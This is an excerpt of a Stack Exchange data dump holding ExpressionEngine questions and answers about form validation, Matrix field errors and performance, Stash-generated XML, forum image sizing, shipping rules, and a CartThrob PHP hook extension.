  <row Id="10383" PostTypeId="1" CreationDate="2013-05-14T21:26:34.440" Score="1" ViewCount="238" Body="&lt;p&gt;I have one template that has three separate forms. None of these are nested. The first is on the &quot;/your-account page&quot; and the other two are in modals. On this account page a user can update their info (form 1), add a dog (form 2), or edit that dog (form 3). They each have unique ids and have a unique &quot;return.&quot; &lt;strike&gt;Include_jquery and safecracker_head parameters are set to &quot;no&quot; in each form.&lt;/strike&gt; I am using Stash to store the variables for the dog forms and no channel:entries loops are being used.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;zoo_visitor:update_form  [channel = &quot;zoo_visitor&quot;] --- include_jquery=&quot;yes&quot; safecracker_hea=&quot;yes&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;safecracker (registration) [channel=&quot;dogs&quot;] --- include_jquery=&quot;no&quot; safecracker_head=&quot;yes&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;safecracker (update) --- include_jquery=&quot;no&quot; safecracker_head=&quot;yes&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Each of these forms works as intended and creates/updates when submitted. The issue I am having is with validation errors. When I intentionally leave an input blank etc, my errors do not appear inline. I get this one (non-inline) error &quot;The form you submitted contained the following errors: &lt;strong&gt;You must specify a valid entry to edit.&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the &quot;Update Dog&quot; form then validation works on the &quot;User Profile Update,&quot; but not on the &quot;Add a Dog&quot; form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I have tried so many different variations that I am just stumped. The template, as you can imagine, is quite long, but I can add it if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for looking!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: Running EE 2.5.5 and ZV 1.3.25&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; It looks like the issue is with the parameter error_handling=&quot;inline&quot; so if I turn that off, then everything works great. I still don't know why this is, but I might have to resort to using javascript validation. Here is a link to my template &lt;a href=&quot;http://pastie.org/private/v6f4keocja5auqcozsvw&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/private/v6f4keocja5auqcozsvw&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1491" LastEditorUserId="1491" LastEditDate="2013-05-15T21:08:23.917" LastActivityDate="2013-06-14T21:38:31.780" Title="Validation issue with Zoo Visitor Update, SafeCracker Registration / SafeCracker Update Forms in one template" Tags="|safecracker|zoo-visitor|validation|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10384" PostTypeId="2" ParentId="10379" CreationDate="2013-05-14T21:30:18.127" Score="0" Body="&lt;p&gt;Matt,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you seen &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5302/563&quot;&gt;Low's answer&lt;/a&gt;?  His first example should work for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv_settings_home_feature_items&quot; limit=&quot;3&quot;}&#xA;    ...more code here...&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it's not working, can you post your EE version, Playa version, and LV version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa, P&amp;amp;T&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-05-14T21:30:18.127" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10385" PostTypeId="1" CreationDate="2013-05-14T21:40:08.350" Score="2" ViewCount="120" Body="&lt;p&gt;I am using ExpressionEngine 2.5.5 and Discussion Forum 3.1.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issue i am having it will not re-size photos when my members post them as Image Links, it works in Chrome browser but it will not work in Firefox or IE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you look at the forum post where photo is posted with chrome browser it is nicely re-sized to fit the look of the forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you look at the same post where image is in Firefox or IE the image is huge (true size) and breaks the look of the forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to fix or where to look would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1492" LastEditorUserId="1492" LastEditDate="2013-05-15T01:19:29.443" LastActivityDate="2013-06-14T01:38:07.360" Title="image re-sizing in Expressionengine Discussion Forums" Tags="|ee2|forum|twitter-bootstrap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10386" PostTypeId="1" CreationDate="2013-05-14T22:06:36.463" Score="2" ViewCount="427" Body="&lt;p&gt;I upgraded my site from 2.1 to 2.6 and I get this error when trying to go to feildtypes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to load requested field type file: ft.rel.php.&#xA;  Confirm the fieldtype file is located in the expressionengine/third_party/ directory&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1493" LastEditorUserId="150" LastEditDate="2013-06-06T10:04:55.247" LastActivityDate="2013-11-01T23:57:07.273" Title="I upgraded my site from 2.1 to 2.6 and I get this error when trying to go to feildtypes" Tags="|ee2|plugin|upgrade|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10387" PostTypeId="2" ParentId="10309" CreationDate="2013-05-14T22:42:59.990" Score="1" Body="&lt;p&gt;This is working beautifully now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;home&quot; status=&quot;homepage|open&quot;}&#xA;{home_layout}&#xA;&#xA;{playa_1}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{/playa_1}&#xA;&#xA;{/home_layout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-05-14T22:42:59.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10388" PostTypeId="1" AcceptedAnswerId="10442" CreationDate="2013-05-15T00:18:50.703" Score="0" ViewCount="214" Body="&lt;p&gt;We are generating an XML file everyday detailing the cartthrob orders for the day. The format of this XML is awkward as it needs to repeat certain content at different points as well as a host of conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I chose stash to record all the orders, stash the main content along with a couple of nested items for cart variations and all works well until we hit upwards of 50 orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server is set to 256MB and now we're getting &lt;strong&gt;Server Gone Away Error: 2006&lt;/strong&gt;. The client has noted that max_allowed_packet=8M and the entire database is only 4M - so this error could be a false negative ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upping the ram suppressed that previous error now we're getting server 500 errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have NFI on how to proceed or what to address. The template is as skinny as I can make it. I tried swapping some initial capture tags with {exp:query} and savings were minimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the basic concept of the XML template that works fine until 50+ orders are being recorded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:set_list} //set the list&#xA;{exp:channel:entries disable=&quot;categories|etc&quot;} //query the orders channel&#xA;  {stash:first_name} //stash the content&#xA;  {stash:lastname}&#xA;  {stash:nested_list}&#xA;    {order_items} //Grab ordered variations stored in CartThrob matrix&#xA;      {stash:qty}&#xA;      {stash:color}&#xA;      {stash:price}&#xA;    {/order_items}&#xA;  {/stash:nested}&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;Then we build the XML&#xA;&amp;lt;xml&amp;gt;&#xA;{exp:stash:get_list} //set above, repeat for each order&#xA;&amp;lt;customer&amp;gt;&#xA;{first_name}&#xA;{last_name}&#xA;&amp;lt;order_items&amp;gt;&#xA;{stash:get_list:nested} //grab the ordered items&#xA;  {qty}&#xA;  {price}&#xA;  {etc…}&#xA;{/stash:get_list:nested}&#xA;&amp;lt;/order_items&amp;gt;&#xA;&amp;lt;somepreviousitem&amp;gt;{first_name}&amp;lt;/somepreviousitem&amp;gt;&#xA;&amp;lt;/customer&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/xml&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simplistically what can I try to improve this situation? Is there a way to set a batch of sorts ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output profiler doesn't help the XML is a template and the extra code breaks the output. Tried BiopsEE but server is running PHP 5.2.17 and required 5.3 - cant change it.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-05-16T10:44:21.513" Title="How to generate large XML" Tags="|cartthrob|stash|server|xml|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10389" PostTypeId="2" ParentId="10385" CreationDate="2013-05-15T00:22:10.370" Score="1" Body="&lt;p&gt;Sounds like you need to modify the CSS file of the forum theme. This example is working blind as I don't have it installed, but this may work if you can find where the CSS is being set for the image. Set the maximum width to a pixel value or even try max-width: 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A guessing example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.post img {&#xA;max-width: 480px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.post img {&#xA;max-width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I run into this problem if images don't have a specified width in the stylesheet. Images larger than the the width of the table cell will stretch the cell.&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2013-05-15T00:22:10.370" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10390" PostTypeId="2" ParentId="10383" CreationDate="2013-05-15T02:43:44.097" Score="1" Body="&lt;p&gt;It seems that your form3 isn't getting entry id or url_title for the entry which need to be updated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case you are getting issue by passing entry_id or url_title as parameter within the edit tag dynamically, just put hidden field for entry_id or url_title like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;[ENTRY ID]&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;url_title&quot; value=&quot;[URL TITLE]&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you are using modal for update form so entry_id or url_title can be fetched and value can be updated with some JavaScript.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-15T02:43:44.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10391" PostTypeId="1" CreationDate="2013-05-15T03:06:12.803" Score="1" ViewCount="422" Body="&lt;p&gt;After upgrading from Matrix 2.5 to 2.5.4 (and then to 2.5.5 today), I am now getting errors when I save entries with Matrix fields. The error reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_id&#xA;Filename: matrix/ft.matrix.php&#xA;Line Number: 2644&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The site also runs Solspace Super Search 2.0.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine version is 2.5.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone running into this issue?&lt;/p&gt;&#xA;" OwnerUserId="1495" LastActivityDate="2013-07-12T17:09:57.703" Title="Error saving entry with Matrix - Undefined index: field_id" Tags="|matrix|pixelandtonic|solspace|supersearch|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10392" PostTypeId="1" AcceptedAnswerId="10394" CreationDate="2013-05-15T03:47:09.047" Score="0" ViewCount="135" Body="&lt;p&gt;If I create a sub-folder with more than a one-word title using Assets, the name is joined with an underscore i.e. 'Technical_Manuals'. Is there any way around this as obviously this wont be suitable front-end?&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2013-05-15T08:47:29.463" Title="Sub-folder naming convention in Assets 2" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10393" PostTypeId="2" ParentId="10391" CreationDate="2013-05-15T03:56:49.670" Score="0" Body="&lt;p&gt;Had something similar recently, had to upgrade EE to at least 2.5.4.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-05-15T03:56:49.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10394" PostTypeId="2" ParentId="10392" CreationDate="2013-05-15T08:47:29.463" Score="1" Body="&lt;p&gt;You want folders, filenames, template groups, and even templates to follow the lowercase, no spaces, use of underscores or dashes format. Additional with files, you want extensions. All these things can be transformed for the front-end with Plugins or PHP. The use of spaces will introduce encoding in the url (&lt;code&gt;%20&lt;/code&gt;) etc., since &lt;a href=&quot;http://www.w3schools.com/tags/ref_urlencode.asp&quot; rel=&quot;nofollow&quot;&gt;they are consider unsafe&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use any basic Find and Replace plugin to strip dashes or underscore from text for the front end, see &lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;Low Replace&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/find-and-replace-plus&quot; rel=&quot;nofollow&quot;&gt;Find and Replace Plus&lt;/a&gt; by Laisvunas as two examples. You can then also use CSS or a plugin to transform from lowercase to Sentence case, Title Case or other options as well.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-05-15T08:47:29.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10395" PostTypeId="1" CreationDate="2013-05-15T09:13:57.323" Score="1" ViewCount="110" Body="&lt;p&gt;I have a store which ships to both the UK and to Australia (from the UK).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default shipping plugin includes 4 methods – three are to the UK (Royal Mail First Class Standard, Next Day, Royal Mail Second Class Economy), and one for Royal Airmail to Australia. The three to the UK work fine, but the one to Australia returns this message on the checkout page when I change the shipping method in the dropdown box: Error calculating shipping: No rules match the current cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I ignore that error message and continue to add my address in checkout two then continue on to checkout 3, the shipping is THEN calculated correctly, and I can continue on to payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I have the shipping calculated on checkout1 instead of returning the error (I don't mind that the user has to click update totals)? The buyer will not put in their address until checkout 2.&lt;/p&gt;&#xA;" OwnerUserId="437" LastEditorUserId="437" LastEditDate="2013-05-17T08:23:51.843" LastActivityDate="2013-06-17T11:38:54.283" Title="Expresso Store Shipping Error when Changing Shipping Method Before Shipping Details Entered" Tags="|expresso-store|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10396" PostTypeId="1" CreationDate="2013-05-15T09:51:56.263" Score="2" ViewCount="451" Body="&lt;p&gt;So what i want is to export/import all the information, especially the price modifiers information, of all products that are in my inventory, to an excel file. So not to a PDF. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to do this using the Zenbu module. But this does not support Exp:resso Store. Is there any other module out there that is able to do this? Or is this maybe a feature within Store already? If not, maybe this is an interesting idea for a future feature in Store?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any information is helpfull!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1496" LastActivityDate="2013-05-18T10:07:09.090" Title="Is it possible to import/export all the information of all products that i have in my inventory to an excel file?" Tags="|expresso-store|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10397" PostTypeId="1" AcceptedAnswerId="10418" CreationDate="2013-05-15T11:44:32.300" Score="0" ViewCount="257" Body="&lt;p&gt;New to ExpressionEngine so apologies if my question has an obvious answer. Basically, I have two paths for a single channel's content on one page, one arranges the image to the left and the title to the right while the other does the opposite. They both have a specific pattern of five different sizes each that I have organised using the {switch} tag. [I should mention Foundation is how I'm creating the HTML structure.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image left layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row pad-bottom {switch='vid-m|vid-m|vid-l|vid-s|vid-s'}&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;{switch='four columns offset-by-one|four columns|three columns|four columns offset-by-one|three columns offset-by-two'} text-right title&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;inner&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;{switch='seven columns|eight columns|nine columns|six columns end|seven columns'}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;ten columns centered {switch='vid-m|vid-m|vid-l|vid-s|vid-s'}&quot; style=&quot;background-image: url('')&quot;&amp;gt;&amp;lt;a class=&quot;&quot; href=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The image right layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row pad-bottom {switch='vid-m|vid-m|vid-l|vid-s|vid-s'}&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;{switch='four columns offset-by-one|four columns|three columns|four columns offset-by-one|three columns offset-by-two'} text-right title&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;inner&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;{switch='seven columns|eight columns|nine columns|six columns end|seven columns'}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;ten columns centered {switch='vid-m|vid-m|vid-l|vid-s|vid-s'}&quot; style=&quot;background-image: url('')&quot;&amp;gt;&amp;lt;a class=&quot;&quot; href=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm looking to do is flow a single channel's entries from one to the other, alternating left and right on the way down. The only result I've managed to get anywhere near this is having the channel entries tag outside both but this causes each entry to be duplicated, but the layout is correct. Sorting the entries would require calling the channel entry each time and offsetting and limiting which doesn't help either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or insight would be brilliant. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1497" LastActivityDate="2013-05-15T17:34:49.073" Title="Alternating layouts within one set of channel entry tags" Tags="|channel-entries|structure|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10398" PostTypeId="2" ParentId="10125" CreationDate="2013-05-15T12:11:56.830" Score="0" Body="&lt;p&gt;With a lot of help from @AndrisSevcenko from Pixel &amp;amp; Tonic, the issues have been resolved. Mostly caused by the code I wrote, a small fix was added to Assets and will be added to the next release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again Andris!&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2013-05-15T12:11:56.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10399" PostTypeId="2" ParentId="9735" CreationDate="2013-05-15T12:16:28.240" Score="0" Body="&lt;p&gt;Due to some JS errors in another custom made Accessory, the category image functionality was broken. This had nothing to do with Assets. Just wanted to put this straight.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2013-05-15T12:16:28.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10400" PostTypeId="1" AcceptedAnswerId="10403" CreationDate="2013-05-15T12:24:47.633" Score="0" ViewCount="168" Body="&lt;p&gt;I am creating an extension to save some data from orders through CT into a new db table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is causing this error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Object of class CI_DB_mysql_result could not be converted to int&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cartthrob_on_authorize()&#xA;{&#xA;    foreach ($this-&amp;gt;EE-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;items() as $item) { &#xA;&#xA;        // Create array to store member id and purchased upload slots&#xA;        $my_data = array(&#xA;            'member_id' =&amp;gt; $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id'),&#xA;            'upload_total' =&amp;gt; $item-&amp;gt;item_options('fees'),&#xA;        );&#xA;&#xA;        // Store member id in variable&#xA;        $member_id = $my_data['member_id'];  &#xA;&#xA;        // Query table to check if there if record with member id exists&#xA;        $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get_where('exp_competition_purchase_upload_total', array('member_id' =&amp;gt; $member_id)); &#xA;&#xA;        // If query returns more than 0 update record &#xA;        if($query-&amp;gt;num_rows() &amp;gt; 0) {&#xA;&#xA;            //Find current upload total value   &#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('upload_total');&#xA;            $upload_total = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get('exp_competition_purchase_upload_total');  &#xA;&#xA;            // If upload total is more than 0       &#xA;            if($upload_total &amp;gt; 0) {&#xA;&#xA;                $new_total = $upload_total + $my_data['upload_total'];  &#xA;&#xA;                $my_data['upload_total'] = $new_total;&#xA;&#xA;            }   &#xA;&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update('exp_competition_purchase_upload_total', $my_data);&#xA;&#xA;        // If query returns 0 insert new record         &#xA;        } else {&#xA;&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('exp_competition_purchase_upload_total', $my_data);&#xA;&#xA;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am fairly new to PHP, so I could be doing some stupidly wrong (more than likely).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone take a look and see if I am making any obvious errors here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2013-05-15T13:03:33.687" LastActivityDate="2013-05-15T14:05:08.560" Title="Carthrob on authorize hook extension" Tags="|cartthrob|php|php-errors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10401" PostTypeId="1" CreationDate="2013-05-15T12:33:54.480" Score="0" ViewCount="267" Body="&lt;p&gt;Matrix v2.5.5 / EE v2.6.1 / PHP v5.3.3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;assets&quot; entry_id=&quot;16&quot;}&#xA;   {test_matrix}    &#xA;      {cell_1}&#xA;   {/test_matrix}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It takes 17 seconds to load this Matrix of 50 entries. &lt;code&gt;{cell_1}&lt;/code&gt; is a &lt;code&gt;File&lt;/code&gt; cell type. If I change that cell type to &lt;code&gt;Text&lt;/code&gt;, the query runs in under a second, so the issue is something to do with &lt;code&gt;File&lt;/code&gt; cell type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debug&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.042604 / 5.24MB) Calling Class/Method: Channel/entries&#xA;(0.042839 / 5.24MB) -&amp;gt; Class Called: Channel&#xA;(0.052976 / 5.40MB) -&amp;gt; Method Called: entries&#xA;(0.350104 / 8.18MB) Calling Extension Class/Method: Matrix_ext/channel_entries_tagdata&#xA;(17.881943 / 8.38MB) -&amp;gt; Data Returned&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Channel field: &lt;a href=&quot;https://i.stack.imgur.com/3JTeK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/3JTeK.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="69" LastEditDate="2013-08-23T21:28:21.123" LastActivityDate="2013-08-23T21:28:21.123" Title="Matrix really slow" Tags="|matrix|pixelandtonic|plugin|performance|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10402" PostTypeId="1" AcceptedAnswerId="10404" CreationDate="2013-05-15T12:47:03.963" Score="1" ViewCount="97" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;    {pagination_links}&#xA;    &amp;lt;div class=&quot;block_pager&quot;&amp;gt;&#xA;        {previous_page}&#xA;        &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;prev&quot;&amp;gt;Previous&amp;lt;/a&amp;gt;&#xA;        {/previous_page}&#xA;        {next_page}&#xA;        &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;        {/next_page}&#xA;        {current_page}&#xA;        &amp;lt;div class=&quot;pages&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;           &#xA;                {page}&#xA;                &amp;lt;li &amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number} -  {current_page}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/page}&#xA;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;clearboth&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    {/pagination_links}&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which returns:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oPoyz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is &lt;code&gt;{current_page}&lt;/code&gt; losing scope?&lt;/p&gt;&#xA;" OwnerUserId="1499" LastActivityDate="2013-05-15T14:16:23.977" Title="Pagination current_page not retaining" Tags="|pagination|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10403" PostTypeId="2" ParentId="10400" CreationDate="2013-05-15T14:05:08.560" Score="2" Body="&lt;p&gt;This line here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$upload_total = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get('exp_competition_purchase_upload_total');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is getting a result object, not the actual upload_total column. Change it to this to get the actual column value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$upload_total = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get('exp_competition_purchase_upload_total')-&amp;gt;row('upload_total');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-05-15T14:05:08.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
